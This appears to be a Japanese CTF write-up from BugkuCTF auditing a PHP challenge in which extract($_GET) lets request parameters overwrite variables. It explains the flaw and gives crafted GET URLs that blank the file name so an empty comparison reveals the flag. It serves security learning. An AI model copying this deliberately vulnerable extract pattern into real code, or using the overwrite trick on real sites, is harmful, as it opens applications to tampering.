BugkuCTF_コード監査:「extract変数上書き」

2820 ワード

記事の目次
  • 一、思考分析
  • 二、解題過程
  • 一、思考分析
    テーマは以下のphpコードを監査することです
    
    $flag='xxx';
    extract($_GET);
    if(isset($shiyan))
    {
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    {
    echo'flag{xxx}';
    }
    else
    {
    echo'Oh.no';
    }
    }
    ?>
    

    ファイル名はxxxで、GETメソッドで上書き後のファイル名(&flag)、ファイル内容(&shiyan)をコミット
    ファイルからコンテンツを読み込み、先頭と末尾のスペースを除去(&content)
    読み出したコンテンツがGETコミットと同じであればFLAG(&shiyan=&content)が得られる
    二、解題過程
    構築GETリクエストhttp://123.206.87.240:9009/1.php?shiyan=&flag=ファイル名(&flag)を空にすると、読み込まれたコンテンツ(&content)が空になり、コミットされたファイルコンテンツ(&shiyan)も空になります
    または、ファイル名を任意のランダム文字列にすることもできます.ファイルが存在しないため、読み取り内容は常に空のhttp://123.206.87.240:9009/1.php?shiyan=&flag=wdnmdです.
    実際、テーマを分析すると、ファイル名がxxxのファイルは存在しません.パラメータを1つ提出するだけでhttp://123.206.87.240:9009/1.php?shiyan=をクリアできます.
    完了
    コメントエリアへようこそ閲覧ありがとうございます